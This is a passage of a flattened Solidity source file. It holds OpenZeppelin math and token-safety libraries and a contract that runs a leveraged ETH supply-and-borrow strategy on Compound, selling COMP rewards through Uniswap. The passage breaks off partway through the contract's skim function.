function tryDiv(uint a, uint b) internal pure returns (bool, uint) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint a, uint b) internal pure returns (bool, uint) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) return 0;
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint a,
uint b,
string memory errorMessage
) internal pure returns (uint) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint value
) internal {
uint newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint value
) internal {
uint newAllowance =
token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata =
address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File: contracts/protocol/IStrategyETH_V3.sol
/*
version 1.3.0
Changes listed here do not affect interaction with other contracts (Vault and Controller)
- remove functions that are not called by other contracts (vaults and controller)
*/
interface IStrategyETH_V3 {
function admin() external view returns (address);
function controller() external view returns (address);
function vault() external view returns (address);
/*
@notice Returns address of underlying token (ETH or ERC20)
@dev Return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE for ETH strategy
*/
function underlying() external view returns (address);
/*
@notice Returns total amount of underlying token transferred from vault
*/
function totalDebt() external view returns (uint);
/*
@notice Returns amount of underlying token locked in this contract
@dev Output may vary depending on price of liquidity provider token
where the underlying token is invested
*/
function totalAssets() external view returns (uint);
/*
@notice Deposit ETH
*/
function deposit() external payable;
/*
@notice Withdraw `_amount` underlying token
@param amount Amount of underlying token to withdraw
*/
function withdraw(uint _amount) external;
/*
@notice Withdraw all underlying token from strategy
*/
function withdrawAll() external;
/*
@notice Sell any staking rewards for underlying
*/
function harvest() external;
/*
@notice Increase total debt if totalAssets > totalDebt
*/
function skim() external;
/*
@notice Exit from strategy, transfer all underlying tokens back to vault
*/
function exit() external;
/*
@notice Transfer token accidentally sent here to admin
@param _token Address of token to transfer
@dev _token must not be equal to underlying token
*/
function sweep(address _token) external;
}
// File: contracts/StrategyETH_V3.sol
/*
Changes
- remove functions related to slippage and delta
- add keeper
- remove _increaseDebt
- remove _decreaseDebt
*/
// used inside harvest
abstract contract StrategyETH_V3 is IStrategyETH_V3 {
using SafeERC20 for IERC20;
using SafeMath for uint;
address public override admin;
address public override controller;
address public immutable override vault;
// Placeholder address to indicate that this is ETH strategy
address public constant override underlying =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
// some functions specific to strategy cannot be called by controller
// so we introduce a new role
address public keeper;
// total amount of underlying transferred from vault
uint public override totalDebt;
// performance fee sent to treasury when harvest() generates profit
uint public performanceFee = 500;
uint private constant PERFORMANCE_FEE_CAP = 2000; // upper limit to performance fee
uint internal constant PERFORMANCE_FEE_MAX = 10000;
// Force exit, in case normal exit fails
bool public forceExit;
constructor(
address _controller,
address _vault,
address _keeper
) public {
require(_controller != address(0), "controller = zero address");
require(_vault != address(0), "vault = zero address");
require(_keeper != address(0), "keeper = zero address");
admin = msg.sender;
controller = _controller;
vault = _vault;
keeper = _keeper;
}
modifier onlyAdmin() {
require(msg.sender == admin, "!admin");
_;
}
modifier onlyAuthorized() {
require(
msg.sender == admin ||
msg.sender == controller ||
msg.sender == vault ||
msg.sender == keeper,
"!authorized"
);
_;
}
function setAdmin(address _admin) external onlyAdmin {
require(_admin != address(0), "admin = zero address");
admin = _admin;
}
function setController(address _controller) external onlyAdmin {
require(_controller != address(0), "controller = zero address");
controller = _controller;
}
function setKeeper(address _keeper) external onlyAdmin {
require(_keeper != address(0), "keeper = zero address");
keeper = _keeper;
}
function setPerformanceFee(uint _fee) external onlyAdmin {
require(_fee <= PERFORMANCE_FEE_CAP, "performance fee > cap");
performanceFee = _fee;
}
function setForceExit(bool _forceExit) external onlyAdmin {
forceExit = _forceExit;
}
function totalAssets() external view virtual override returns (uint);
function deposit() external payable virtual override;
function withdraw(uint) external virtual override;
function withdrawAll() external virtual override;
function harvest() external virtual override;
function skim() external virtual override;
function exit() external virtual override;
function sweep(address) external virtual override;
}
// File: contracts/interfaces/uniswap/Uniswap.sol
interface Uniswap {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
// File: contracts/interfaces/compound/CEth.sol
interface CEth {
function mint() external payable;
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow() external payable;
function redeem(uint) external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function balanceOfUnderlying(address account) external returns (uint);
function getAccountSnapshot(address account)
external
view
returns (
uint,
uint,
uint,
uint
);
}
// File: contracts/interfaces/compound/Comptroller.sol
interface Comptroller {
function markets(address cToken)
external
view
returns (
bool,
uint,
bool
);
// Claim all the COMP accrued by holder in all markets
function claimComp(address holder) external;
// TODO: use this to save gas?
// Claim all the COMP accrued by holder in specific markets
function claimComp(address holder, address[] calldata cTokens) external;
}
// File: contracts/strategies/StrategyCompLevEth.sol
/*
APY estimate
c = collateral ratio
i_s = supply interest rate (APY)
i_b = borrow interest rate (APY)
c_s = supply COMP reward (APY)
c_b = borrow COMP reward (APY)
leverage APY = 1 / (1 - c) * (i_s + c_s - c * (i_b - c_b))
plugging some numbers
31.08 = 4 * (7.01 + 4 - 0.75 * (9.08 - 4.76))
*/
/*
State transitions and valid transactions
### State ###
buff = buffer
s = supplied
b = borrowed
### Transactions ###
dl = deleverage
l = leverage
w = withdraw
d = deposit
s(x) = set butter to x
### State Transitions ###
s(max)
(buf = max, s > 0, b > 0) <--------- (buf = min, s > 0, b > 0)
| | ^
| dl, w | dl, w | l, d
| | |
V V |
(buf = max, s > 0, b = 0) ---------> (buf = min, s > 0, b = 0)
s(min)
*/
contract StrategyCompLevEth is StrategyETH_V3 {
event Deposit(uint amount);
event Withdraw(uint amount);
event Harvest(uint profit);
event Skim(uint profit);
// Uniswap //
address private constant UNISWAP = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// Compound //
address private constant COMPTROLLER = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
address private constant COMP = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
address private immutable cToken;
// buffer to stay below market collateral ratio, scaled up by 1e18
uint public buffer = 0.04 * 1e18;
constructor(
address _controller,
address _vault,
address _cToken,
address _keeper
) public StrategyETH_V3(_controller, _vault, _keeper) {
require(_cToken != address(0), "cToken = zero address");
cToken = _cToken;
// These tokens are never held by this contract
// so the risk of them getting stolen is minimal
IERC20(COMP).safeApprove(UNISWAP, type(uint).max);
}
receive() external payable {
// Don't allow vault to accidentally send ETH
require(msg.sender != vault, "msg.sender = vault");
}
function _sendEthToVault(uint _amount) private {
(bool sent, ) = vault.call{value: _amount}("");
require(sent, "Send ETH failed");
}
function _increaseDebt(uint _amount) private {
totalDebt = totalDebt.add(_amount);
}
function _decreaseDebt(uint _amount) private {
if (_amount >= totalDebt) {
totalDebt = 0;
} else {
totalDebt -= _amount;
}
_sendEthToVault(_amount);
}
function _totalAssets() private view returns (uint) {
// WARNING: This returns balance last time someone transacted with cToken
(uint error, uint cTokenBal, uint borrowed, uint exchangeRate) =
CEth(cToken).getAccountSnapshot(address(this));
if (error > 0) {
// something is wrong, return 0
return 0;
}
uint supplied = cTokenBal.mul(exchangeRate) / 1e18;
if (supplied < borrowed) {
// something is wrong, return 0
return 0;
}
uint bal = address(this).balance;
// supplied >= borrowed
return bal.add(supplied - borrowed);
}
/*
@notice Returns amount of ETH locked in this contract
*/
function totalAssets() external view override returns (uint) {
return _totalAssets();
}
/*
@dev buffer = 0 means safe collateral ratio = market collateral ratio
buffer = 1e18 means safe collateral ratio = 0
*/
function setBuffer(uint _buffer) external onlyAuthorized {
require(_buffer > 0 && _buffer <= 1e18, "buffer");
buffer = _buffer;
}
function _getMarketCollateralRatio() private view returns (uint) {
/*
This can be changed by Compound Governance, with a minimum waiting
period of five days
*/
(, uint col, ) = Comptroller(COMPTROLLER).markets(cToken);
return col;
}
function _getSafeCollateralRatio(uint _marketCol) private view returns (uint) {
if (_marketCol > buffer) {
return _marketCol - buffer;
}
return 0;
}
// Not view function
function _getSupplied() private returns (uint) {
return CEth(cToken).balanceOfUnderlying(address(this));
}
// Not view function
function _getBorrowed() private returns (uint) {
return CEth(cToken).borrowBalanceCurrent(address(this));
}
// Not view function. Call using static call from web3
function getLivePosition()
external
returns (
uint supplied,
uint borrowed,
uint marketCol,
uint safeCol
)
{
supplied = _getSupplied();
borrowed = _getBorrowed();
marketCol = _getMarketCollateralRatio();
safeCol = _getSafeCollateralRatio(marketCol);
}
// @dev This returns balance last time someone transacted with cToken
function getCachedPosition()
external
view
returns (
uint supplied,
uint borrowed,
uint marketCol,
uint safeCol
)
{
// ignore first output, which is error code
(, uint cTokenBal, uint _borrowed, uint exchangeRate) =
CEth(cToken).getAccountSnapshot(address(this));
supplied = cTokenBal.mul(exchangeRate) / 1e18;
borrowed = _borrowed;
marketCol = _getMarketCollateralRatio();
safeCol = _getSafeCollateralRatio(marketCol);
}
// @dev This modifier checks collateral ratio after leverage or deleverage
modifier checkCollateralRatio() {
_;
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
// borrowed / supplied <= safe col
// supplied can = 0 so we check borrowed <= supplied * safe col
// max borrow
uint max = supplied.mul(safeCol) / 1e18;
require(borrowed <= max, "borrowed > max");
}
function _supply(uint _amount) private {
CEth(cToken).mint{value: _amount}();
}
// @dev Execute manual recovery by admin
// @dev `_amount` must be >= balance of ETH
function supply(uint _amount) external onlyAdmin {
_supply(_amount);
}
function _borrow(uint _amount) private {
require(CEth(cToken).borrow(_amount) == 0, "borrow");
}
// @dev Execute manual recovery by admin
function borrow(uint _amount) external onlyAdmin {
_borrow(_amount);
}
function _repay(uint _amount) private {
CEth(cToken).repayBorrow{value: _amount}();
}
// @dev Execute manual recovery by admin
// @dev `_amount` must be >= balance of ETH
function repay(uint _amount) external onlyAdmin {
_repay(_amount);
}
function _redeem(uint _amount) private {
require(CEth(cToken).redeemUnderlying(_amount) == 0, "redeem");
}
// @dev Execute manual recovery by admin
function redeem(uint _amount) external onlyAdmin {
_redeem(_amount);
}
function _getMaxLeverageRatio(uint _col) private pure returns (uint) {
/*
c = collateral ratio
geometric series converges to
1 / (1 - c)
*/
// multiplied by 1e18
return uint(1e36).div(uint(1e18).sub(_col));
}
function _getBorrowAmount(
uint _supplied,
uint _borrowed,
uint _col
) private pure returns (uint) {
/*
c = collateral ratio
s = supplied
b = borrowed
x = amount to borrow
(b + x) / s <= c
becomes
x <= sc - b
*/
// max borrow
uint max = _supplied.mul(_col) / 1e18;
if (_borrowed >= max) {
return 0;
}
return max - _borrowed;
}
/*
Find total supply S_n after n iterations starting with
S_0 supplied and B_0 borrowed
c = collateral ratio
S_i = supplied after i iterations
B_i = borrowed after i iterations
S_0 = current supplied
B_0 = current borrowed
borrowed and supplied after n iterations
B_n = cS_(n-1)
S_n = S_(n-1) + (cS_(n-1) - B_(n-1))
you can prove using algebra and induction that
B_n / S_n <= c
S_n - S_(n-1) = c^(n-1) * (cS_0 - B_0)
S_n = S_0 + sum (c^i * (cS_0 - B_0)), 0 <= i <= n - 1
= S_0 + (1 - c^n) / (1 - c)
S_n <= S_0 + (cS_0 - B_0) / (1 - c)
*/
function _leverage(uint _targetSupply) private checkCollateralRatio {
// buffer = 1e18 means safe collateral ratio = 0
if (buffer >= 1e18) {
return;
}
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint unleveraged = supplied.sub(borrowed); // supply with 0 leverage
require(_targetSupply >= unleveraged, "leverage");
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint lev = _getMaxLeverageRatio(safeCol);
// 99% to be safe, and save gas
uint max = (unleveraged.mul(lev) / 1e18).mul(9900) / 10000;
if (_targetSupply >= max) {
_targetSupply = max;
}
uint i;
while (supplied < _targetSupply) {
// target is usually reached in 9 iterations
require(i < 25, "max iteration");
// use market collateral to calculate borrow amount
// this is done so that supplied can reach _targetSupply
// 99.99% is borrowed to be safe
uint borrowAmount =
_getBorrowAmount(supplied, borrowed, marketCol).mul(9999) / 10000;
require(borrowAmount > 0, "borrow = 0");
if (supplied.add(borrowAmount) > _targetSupply) {
// borrow > 0 since supplied < _targetSupply
borrowAmount = _targetSupply.sub(supplied);
}
_borrow(borrowAmount);
// end loop with _supply, this ensures no borrowed amount is unutilized
_supply(borrowAmount);
// supplied > _getSupplied(), by about 3 * 1e12 %, but we use local variable to save gas
supplied = supplied.add(borrowAmount);
// _getBorrowed == borrowed
borrowed = borrowed.add(borrowAmount);
i++;
}
}
function leverage(uint _targetSupply) external onlyAuthorized {
_leverage(_targetSupply);
}
function _deposit() private {
uint bal = address(this).balance;
if (bal > 0) {
_supply(bal);
// leverage to max
_leverage(type(uint).max);
}
}
/*
@notice Deposit ETH into this strategy
*/
function deposit() external payable override onlyAuthorized {
require(msg.value > 0, "deposit = 0");
_increaseDebt(msg.value);
_deposit();
emit Deposit(msg.value);
}
function _getRedeemAmount(
uint _supplied,
uint _borrowed,
uint _col
) private pure returns (uint) {
/*
c = collateral ratio
s = supplied
b = borrowed
r = redeem
b / (s - r) <= c
becomes
r <= s - b / c
*/
// min supply
// b / c = min supply needed to borrow b
uint min = _borrowed.mul(1e18).div(_col);
if (_supplied <= min) {
return 0;
}
return _supplied - min;
}
/*
Find S_0, amount of supply with 0 leverage, after n iterations starting with
S_n supplied and B_n borrowed
c = collateral ratio
S_n = current supplied
B_n = current borrowed
S_(n-i) = supplied after i iterations
B_(n-i) = borrowed after i iterations
R_(n-i) = Redeemable after i iterations
= S_(n-i) - B_(n-i) / c
where B_(n-i) / c = min supply needed to borrow B_(n-i)
For 0 <= k <= n - 1
S_k = S_(k+1) - R_(k+1)
B_k = B_(k+1) - R_(k+1)
and
S_k - B_k = S_(k+1) - B_(k+1)
so
S_0 - B_0 = S_1 - S_2 = ... = S_n - B_n
S_0 has 0 leverage so B_0 = 0 and we get
S_0 = S_0 - B_0 = S_n - B_n
------------------------------------------
Find S_(n-k), amount of supply, after k iterations starting with
S_n supplied and B_n borrowed
with algebra and induction you can derive that
R_(n-k) = R_n / c^k
S_(n-k) = S_n - sum R_(n-i), 0 <= i <= k - 1
= S_n - R_n * ((1 - 1/c^k) / (1 - 1/c))
Equation above is valid for S_(n - k) k < n
*/
function _deleverage(uint _targetSupply) private checkCollateralRatio {
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint unleveraged = supplied.sub(borrowed);
require(_targetSupply <= supplied, "deleverage");
uint marketCol = _getMarketCollateralRatio();
// min supply
if (_targetSupply <= unleveraged) {
_targetSupply = unleveraged;
}
uint i;
while (supplied > _targetSupply) {
// target is usually reached in 8 iterations
require(i < 25, "max iteration");
// 99.99% to be safe
uint redeemAmount =
(_getRedeemAmount(supplied, borrowed, marketCol)).mul(9999) / 10000;
require(redeemAmount > 0, "redeem = 0");
if (supplied.sub(redeemAmount) < _targetSupply) {
// redeem > 0 since supplied > _targetSupply
redeemAmount = supplied.sub(_targetSupply);
}
_redeem(redeemAmount);
_repay(redeemAmount);
// supplied < _geSupplied(), by about 7 * 1e12 %
supplied = supplied.sub(redeemAmount);
// borrowed == _getBorrowed()
borrowed = borrowed.sub(redeemAmount);
i++;
}
}
function deleverage(uint _targetSupply) external onlyAuthorized {
_deleverage(_targetSupply);
}
// @dev Returns amount available for transfer
function _withdraw(uint _amount) private returns (uint) {
uint bal = address(this).balance;
if (bal >= _amount) {
return _amount;
}
uint redeemAmount = _amount - bal;
/*
c = collateral ratio
s = supplied
b = borrowed
r = amount to redeem
x = amount to repay
where
r <= s - b (can't redeem more than unleveraged supply)
and
x <= b (can't repay more than borrowed)
and
(b - x) / (s - x - r) <= c (stay below c after redeem and repay)
so pick x such that
(b - cs + cr) / (1 - c) <= x <= b
when b <= cs left side of equation above <= cr / (1 - c) so pick x such that
cr / (1 - c) <= x <= b
*/
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint marketCol = _getMarketCollateralRatio();
uint safeCol = _getSafeCollateralRatio(marketCol);
uint unleveraged = supplied.sub(borrowed);
// r <= s - b
if (redeemAmount > unleveraged) {
redeemAmount = unleveraged;
}
// cr / (1 - c) <= x <= b
uint repayAmount = redeemAmount.mul(safeCol).div(uint(1e18).sub(safeCol));
if (repayAmount > borrowed) {
repayAmount = borrowed;
}
_deleverage(supplied.sub(repayAmount));
_redeem(redeemAmount);
uint balAfter = address(this).balance;
if (balAfter < _amount) {
return balAfter;
}
return _amount;
}
/*
@notice Withdraw undelying token to vault
@param _amount Amount of ETH to withdraw
@dev Caller should implement guard against slippage
*/
function withdraw(uint _amount) external override onlyAuthorized {
require(_amount > 0, "withdraw = 0");
// available <= _amount
uint available = _withdraw(_amount);
if (available > 0) {
_decreaseDebt(available);
}
emit Withdraw(available);
}
// @dev withdraw all creates dust in supplied
function _withdrawAll() private {
_withdraw(type(uint).max);
// In case there is dust, re-calculate balance
uint bal = address(this).balance;
if (bal > 0) {
_sendEthToVault(bal);
totalDebt = 0;
}
emit Withdraw(bal);
}
/*
@notice Withdraw all ETH to vault
@dev Caller should implement guard agains slippage
*/
function withdrawAll() external override onlyAuthorized {
_withdrawAll();
}
/*
@dev Uniswap fails with zero address so no check is necessary here
*/
function _swapToEth(address _from, uint _amount) private {
// create dynamic array with 2 elements
address[] memory path = new address[](2);
path[0] = _from;
path[1] = WETH;
Uniswap(UNISWAP).swapExactTokensForETH(
_amount,
1,
path,
address(this),
block.timestamp
);
}
function _claimRewards() private {
// claim COMP
address[] memory cTokens = new address[](1);
cTokens[0] = cToken;
Comptroller(COMPTROLLER).claimComp(address(this), cTokens);
uint compBal = IERC20(COMP).balanceOf(address(this));
if (compBal > 0) {
_swapToEth(COMP, compBal);
// Now this contract has ETH
}
}
/*
@notice Claim and sell any rewards
*/
function harvest() external override onlyAuthorized {
_claimRewards();
uint bal = address(this).balance;
if (bal > 0) {
// transfer fee to treasury
uint fee = bal.mul(performanceFee) / PERFORMANCE_FEE_MAX;
if (fee > 0) {
address treasury = IController(controller).treasury();
require(treasury != address(0), "treasury = zero address");
// treasury must be able to receive ETH
(bool sent, ) = treasury.call{value: fee}("");
require(sent, "Send ETH failed");
}
// _supply() to decrease collateral ratio and earn interest
// use _supply() instead of _deposit() to save gas
uint profit = bal.sub(fee);
_supply(profit);
emit Harvest(profit);
}
}
/*
@notice Increase total debt if profit > 0
*/
function skim() external override onlyAuthorized {
uint bal = address(this).balance;
uint supplied = _getSupplied();
uint borrowed = _getBorrowed();
uint unleveraged = supplied.sub(borrowed);
uint total = bal.add(unleveraged);
require(total > totalDebt, "total <= debt");
uint profit = total - totalDebt;
// Incrementing totalDebt has the same effect as transferring profit
